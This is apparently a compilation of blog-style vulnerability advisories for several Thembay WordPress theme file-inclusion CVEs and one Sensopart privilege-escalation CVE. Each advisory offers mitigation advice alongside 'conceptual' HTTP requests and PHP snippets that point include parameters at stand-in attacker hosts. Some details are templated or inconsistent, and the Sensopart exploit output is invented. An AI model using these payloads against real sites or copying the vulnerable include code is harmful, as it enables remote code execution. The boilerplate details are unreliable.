Author: Ameeba

Overview

The cybersecurity world is abuzz with the recent discovery of a major vulnerability, CVE-2025-49261, in the Themebay’s Diza. This flaw, a PHP Remote File Inclusion vulnerability, has a high potential to compromise systems or result in data leakage. It can be exploited by an attacker to execute arbitrary PHP code in the vulnerable system. Understanding this vulnerability, who it affects, and how to mitigate it is crucial for organizations using Diza versions up to 1.3.8.

Vulnerability Summary

CVE ID: CVE-2025-49261
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Themebay Diza | Up to and including 1.3.8

How the Exploit Works

The vulnerability exists due to an improper control of filename for include/require statement in PHP program within the Diza software. An attacker can exploit this by sending a specially crafted request containing a path to a malicious PHP file hosted on a remote server. The Diza software will include and execute this malicious PHP file, allowing the attacker to run arbitrary code on the server where Diza resides. This could potentially lead to a full system compromise.

Conceptual Example Code

An attacker could theoretically exploit this vulnerability as shown in the conceptual example below:

GET /index.php?page=http://malicious.com/malicious_script.txt HTTP/1.1
Host: target.example.com

The “malicious_script.txt” could contain arbitrary PHP code that will be executed on the server when the request is processed.

Mitigation Measures

Themebay has already released a patch to address this vulnerability. All users and administrators of Diza are strongly advised to update their software to the latest version. If it’s not possible to immediately update, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could serve as temporary mitigation. However, these measures can only limit the exposure to this vulnerability, not completely eliminate it. Therefore, updating Diza to the patched version remains the most effective mitigation measure.

Overview

CVE-2025-49260 is a critical vulnerability that resides within the Themebay Aora PHP program. This vulnerability, known as PHP Remote File Inclusion (RFI), allows an attacker to include and execute arbitrary PHP code from remote servers. This is particularly concerning as it can lead to severe system compromise and potential data leakage. The vulnerability affects all versions of Aora up to and including 1.3.9. Given the severity of the vulnerability and its potential impact, it is crucial for users of Themebay Aora to apply the vendor patch or, alternatively, use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation.

Vulnerability Summary

CVE ID: CVE-2025-49260
Severity: Critical (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Themebay Aora | Up to and including 1.3.9

How the Exploit Works

The vulnerability stems from improper control of the filename for the include/require statement in the PHP program. An attacker can manipulate this vulnerability by injecting a PHP file from a remote server, which the server then includes and executes. This can lead to a variety of malicious activities, such as executing arbitrary code, stealing sensitive data, or even taking control of the affected system.

Conceptual Example Code

Below is a conceptual example of how an attacker might exploit this vulnerability. Note that the `malicious_payload` contains a URL pointing to a remote PHP file.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
include=http://malicious.example.com/malicious_file.php

In this example, the server would fetch and execute the PHP file located at `http://malicious.example.com/malicious_file.php`, leading to potential system compromise or data leakage.

Overview

The cybersecurity landscape is riddled with potential threats and vulnerabilities. One such vulnerability is the Improper Control of Filename for Include/Require Statement in PHP Program, commonly known as the PHP Remote File Inclusion vulnerability. This specific vulnerability, labelled as CVE-2025-49259, affects the Thembay Hara system from its earliest version through 1.2.10. It poses a significant risk to system integrity and data privacy as it potentially allows unauthorized access and data leakage.
This vulnerability is of particular concern due to the rising prevalence of PHP in web development, coupled with the widespread use of Thembay Hara. Its exploitation could lead to widespread system compromise and significant data breaches if not promptly addressed.

Vulnerability Summary

CVE ID: CVE-2025-49259
Severity: Critical (CVSS: 8.1)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Thembay Hara | From initial version through 1.2.10

How the Exploit Works

In a PHP Remote File Inclusion exploit, the attacker manipulates a vulnerability within the PHP code of a website to include a remote file. This is typically achieved by exploiting poorly validated input fields to inject malicious PHP code that points to a remote file.
In the case of CVE-2025-49259, the attacker would exploit an improperly controlled filename in an Include/Require statement in the Thembay Hara system. This would allow the attacker to include a file from a remote server, leading to the execution of arbitrary PHP code on the target server, potentially leading to system compromise or data leakage.

Conceptual Example Code

Below is a
conceptual
example of how the vulnerability might be exploited:

GET /index.php?page=http://attacker.com/malicious_file.txt HTTP/1.1
Host: vulnerablewebsite.com

In this example, the attacker is manipulating the ‘page’ parameter in the URL to point to a malicious file on their server (‘http://attacker.com/malicious_file.txt’). This would result in the malicious file being included and executed on the target server.

Overview

The CVE-2025-49258 vulnerability pertains to an improper control of the filename for Include/Require Statement in PHP Program, more commonly known as ‘PHP Remote File Inclusion’ vulnerability. This vulnerability impacts Themebay Maia, a popular software product, potentially leading to system compromise or data leakage, hence its CVSS severity score of 8.1. This blog post aims to provide a comprehensive understanding of this vulnerability, highlighting why it matters, who it affects, and the steps to mitigate it.

Vulnerability Summary

CVE ID: CVE-2025-49258
Severity: Critical (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Themebay Maia | n/a through 1.1.15

How the Exploit Works

The vulnerability lies in the improper control of the filename in the Include/Require statement of a PHP program. An attacker could potentially manipulate this flaw to include a file from a remote server that contains malicious PHP code. Upon execution of the code, the attacker could gain unauthorized access to the system, leading to a system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:

<?php
// The vulnerable code
$incfile = $_GET['file'];
include($incfile . ".php");
// The exploit
// Access the URL http://<target_site>/<vulnerable_page>?file=http://<malicious_site>/malicious_file
?>

In the above example, the attacker modifies the ‘file’ GET parameter in the URL to include a PHP file from a remote, malicious server.

Remediation

As a mitigation measure, it is recommended to apply the vendor patch as soon as it becomes available. If immediate patching is not possible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. It is also crucial to enforce proper input validation techniques, such as whitelisting of acceptable inputs, to prevent such vulnerabilities in the future.

Overview

The CVE-2025-49257 vulnerability poses a significant risk to any system utilizing Thembay’s Zota up to version 1.3.8. This vulnerability arises from an Improper Control of Filename for Include/Require Statement in PHP Program, which essentially allows PHP Local File Inclusion – a serious security flaw that could pave the way for unauthorized system access or data leakage. It’s of critical importance that those affected understand and address this vulnerability promptly to prevent potential system compromise.

Vulnerability Summary

CVE ID: CVE-2025-49257
Severity: High (8.1 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Zota by Thembay | Up to 1.3.8

How the Exploit Works

This exploit works by manipulating the filename in a PHP include/require statement. An attacker can remotely include a file from a different server, leading to local file inclusion. This means that the attacker can execute arbitrary PHP code on the server, potentially leading to system compromise or data leakage.

Conceptual Example Code

Below is a simplified, conceptual example of how the vulnerability might be exploited. This example demonstrates a malicious HTTP request that includes a remote file:

GET /index.php?page=http://malicious.example.com/malicious_file.txt HTTP/1.1
Host: vulnerable.example.com

In this example, the attacker has manipulated the `page` parameter to include a remote file from “malicious.example.com. When this request is processed by the server, the malicious code within ‘malicious_file.txt’ is executed.

Mitigation

The primary mitigation for this vulnerability is to apply a patch provided by the vendor. If a patch is not immediately available or cannot be applied right away, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation strategy. These can be configured to detect and block attempts to exploit this vulnerability.
Remember, prompt action is essential in preventing potential system compromise or data leakage. Regularly updating your systems and applications, alongside utilising robust cybersecurity measures, is key to maintaining a secure network environment.

Overview

The cybersecurity landscape is fraught with ever-evolving threats, and one such threat has been identified in thembay Sapa. The vulnerability, coded as CVE-2025-49256, has gained significant attention due to its potential to allow PHP Local File Inclusion (LFI) through an Improper Control of Filename for Include/Require Statement in PHP Program. The nature of this vulnerability implies that it primarily affects web applications running the affected versions of Sapa. The significance of this vulnerability lies in its potential to compromise system security or leak data, thus posing a serious risk for businesses and individuals alike.

Vulnerability Summary

CVE ID: CVE-2025-49256
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Thembay Sapa | N/A – 1.1.14

How the Exploit Works

The exploit works by exploiting the lack of proper control of the filename in a PHP include/require statement in thembay Sapa’s programming. This allows a remote attacker to manipulate the input and include a file from a remote server, leading to PHP Remote File Inclusion. The attacker can then execute arbitrary code in the context of the application, potentially compromising the system or leaking sensitive data.

Conceptual Example Code

A conceptual example of how the vulnerability might be exploited is shown below:

GET /vulnerable/page.php?file=http://attacker.com/malicious_file.txt HTTP/1.1
Host: target.example.com

In this example, the attacker uses a GET request to the vulnerable page on the target server. The “file” parameter is manipulated to include a malicious file hosted on the attacker’s server. When the server processes this request, it inadvertently includes the malicious file, executing the arbitrary code within.

Mitigation and Prevention

To mitigate the risks associated with this vulnerability, it is advised to apply the vendor patch as soon as it becomes available. In the interim, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. Regularly updating and patching systems, coupled with stringent monitoring, can prevent such vulnerabilities from being exploited and ensure a robust security posture.

Overview

This blog post discusses the CVE-2025-49255 vulnerability, a critical PHP Remote File Inclusion (RFI) vulnerability discovered in thembay Ruza. This vulnerability exposes users to potential system compromise or data leakage, making it a significant cybersecurity concern. It affects Ruza versions up to and including 1.0.7. The RFI vulnerability is especially concerning given its potential to provide a malicious actor with the ability to execute arbitrary PHP code remotely, which can lead to severe consequences such as full system compromise.

Vulnerability Summary

CVE ID: CVE-2025-49255
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: No
Impact: System Compromise, Data Leakage

Affected Products

Product | Affected Versions

Thembay Ruza | Up to and including 1.0.7

How the Exploit Works

The PHP Remote File Inclusion vulnerability, as the name implies, allows an attacker to include a remote file, usually through a script on a web server. This file can execute arbitrary PHP code. The issue arises due to the improper control of filename for include/require statement in the PHP program of thembay Ruza. An attacker can manipulate these statements to inject malicious scripts into a server’s file system, which the server then executes.

Conceptual Example Code

An attacker might exploit this vulnerability by sending a crafted request to a vulnerable server. The request could look something like this:

GET /index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerable-ruza-site.com

In this example, `http://attacker.com/malicious_file.php` is a PHP script hosted on the attacker’s server. The vulnerable server fetches and executes this script, leading to a potential system compromise or data leakage.

Mitigation Measures

The most effective way to mitigate this vulnerability is by applying the vendor patch. If that is not immediately possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation method. These tools can detect and block attempts to exploit this vulnerability. Furthermore, it is recommended to disable allow_url_include and allow_url_fopen in the PHP configuration, which prevents the inclusion of remote files.

Overview

The heightened reliance on software and digital systems makes security vulnerabilities a significant concern for businesses and individuals alike. A newly identified vulnerability tagged as CVE-2025-49254 threatens the security landscape, specifically impacting PHP programs developed with the thembay Nika framework. This vulnerability is particularly worrisome due to its potential to compromise systems or cause data leakage-making it a potential goldmine for cybercriminals looking to disrupt operations or steal sensitive information.

Vulnerability Summary

CVE ID: CVE-2025-49254
Severity: Critical (CVSS Score 8.1)
Attack Vector: Remote
Privileges Required: Low
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

thembay Nika | Up to and including 1.2.8

How the Exploit Works

The vulnerability occurs due to improper control over the filename in PHP ‘include’ or ‘require’ statements. An attacker can manipulate these statements to include files from remote servers. This process, known as Remote File Inclusion (RFI), allows the attacker to inject and execute arbitrary code on the server, potentially compromising the system or leading to data leakage.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability:

<?php
// User input is not properly sanitized
$fileName = $_GET['file'];
// The server includes the specified file
include($fileName . '.php');
?>

In this example, a malicious actor could manipulate the ‘file‘ parameter in the GET request to point to a remote file, such as `http://attacker.com/malicious`. This would result in the server including `http://attacker.com/malicious.php`, executing any PHP code contained within.

Mitigation Guidance

System administrators and users of thembay Nika are advised to urgently apply the vendor patch to mitigate this vulnerability. In situations where immediate patching is not feasible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary measure to prevent an exploit. However, these are not long-term solutions and the vendor patch should be applied as soon as possible to fully secure the system.

Overview

In the rapidly evolving world of cybersecurity, vulnerabilities are discovered and patched regularly. One such vulnerability has recently come to light that affects users of Thembay’s Lasa PHP program. The vulnerability, identified as CVE-2025-49253, concerns an improper control of the filename for include/require statement, which can lead to a PHP Remote File Inclusion (RFI). This vulnerability is especially critical as it could potentially lead to a system compromise or data leakage if exploited by malicious actors.
The severity of this vulnerability is significant, evidenced by its CVSS score of 8.1. Therefore, it is essential for all users and administrators of Thembay Lasa to understand the details of this vulnerability and take immediate steps to mitigate its potential impact.

Vulnerability Summary

CVE ID: CVE-2025-49253
Severity: High, CVSS Score 8.1
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Thembay Lasa | Up to 1.1

How the Exploit Works

The exploit works by manipulating the PHP include or require statements in Thembay Lasa. In a standard operating environment, these statements are used to include a file as if it were a part of the original script. However, if the filename is improperly controlled, it could lead to a PHP Remote File Inclusion vulnerability.
In this case, an attacker could remotely inject a file hosted on a different server, resulting in the execution of arbitrary PHP code. This code execution happens in the context of the application, potentially leading to a full system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how this vulnerability might be exploited:

<?php
// The attacker could manipulate the $file variable to include a remote file
$file = $_GET['file'];
include($file . ".php");
?>

In this example, an attacker could provide a URL like `www.vulnerablewebsite.com/page.php?file=http://maliciouswebsite.com/maliciouscode` to execute their malicious PHP code on the server.

Mitigation Guidance

Users and administrators of Thembay Lasa are advised to apply the vendor patch as soon as possible. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These systems can detect and prevent attempts to exploit this vulnerability, reducing the potential risk of a successful attack.
Remember, in the world of cybersecurity, awareness and prompt action are the best defenses against potential threats.

Overview

The cybersecurity landscape is continually evolving, with new vulnerabilities identified and patched regularly. One such vulnerability, identified as CVE-2023-50450, has been discovered in Sensopart VISOR Vision Sensors versions prior to 2.10.0.2. This critical flaw allows local users to perform unspecified actions with elevated privileges, potentially leading to system compromise or data leakage. This vulnerability is especially significant given the widespread use of Sensopart vision sensors in various industries, including automotive, electronics, and robotics. Therefore, addressing this vulnerability is crucial to maintaining the security and integrity of these systems.

Vulnerability Summary

CVE ID: CVE-2023-50450
Severity: High (CVSS 8.4)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: System Compromise and Potential Data Leakage

Affected Products

Product | Affected Versions

Sensopart VISOR Vision Sensors | Before 2.10.0.2

How the Exploit Works

While the exact details of the exploit are unspecified, it likely involves a local user leveraging this vulnerability to escalate their privileges within the system. This may be achieved through various means, such as exploiting bugs in the software, manipulating data, or exploiting insecure configurations. Once the user has elevated privileges, they can perform actions that are typically restricted, potentially leading to unauthorized access to sensitive data or control over the system.

Conceptual Example Code

While we cannot provide an exact exploit code due to the unspecified nature of this vulnerability, an example of a privilege escalation exploit might look like this:

$ whoami
low_priv_user
$ ./exploit_CVE-2023-50450
...
...
Exploit successful
$ whoami
root

In this conceptual example, a low-privileged user (`low_priv_user`) runs an exploit script (`exploit_CVE-2023-50450`) that takes advantage of the vulnerability to elevate their privileges. After successful exploitation, the user is able to run commands as `root`, the highest-privileged user on the system.

Mitigation and Patching

The best course of action to mitigate this vulnerability is to apply the vendor patch. Sensopart has released an update (2.10.0.2) that addresses this vulnerability, and users are strongly advised to update to this version as soon as possible. If immediate patching is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. However, these measures are only temporary and cannot replace the need for patching the software.
Remember, staying updated on the latest patches and keeping a robust security infrastructure are key strategies in maintaining a strong defense against cyber threats.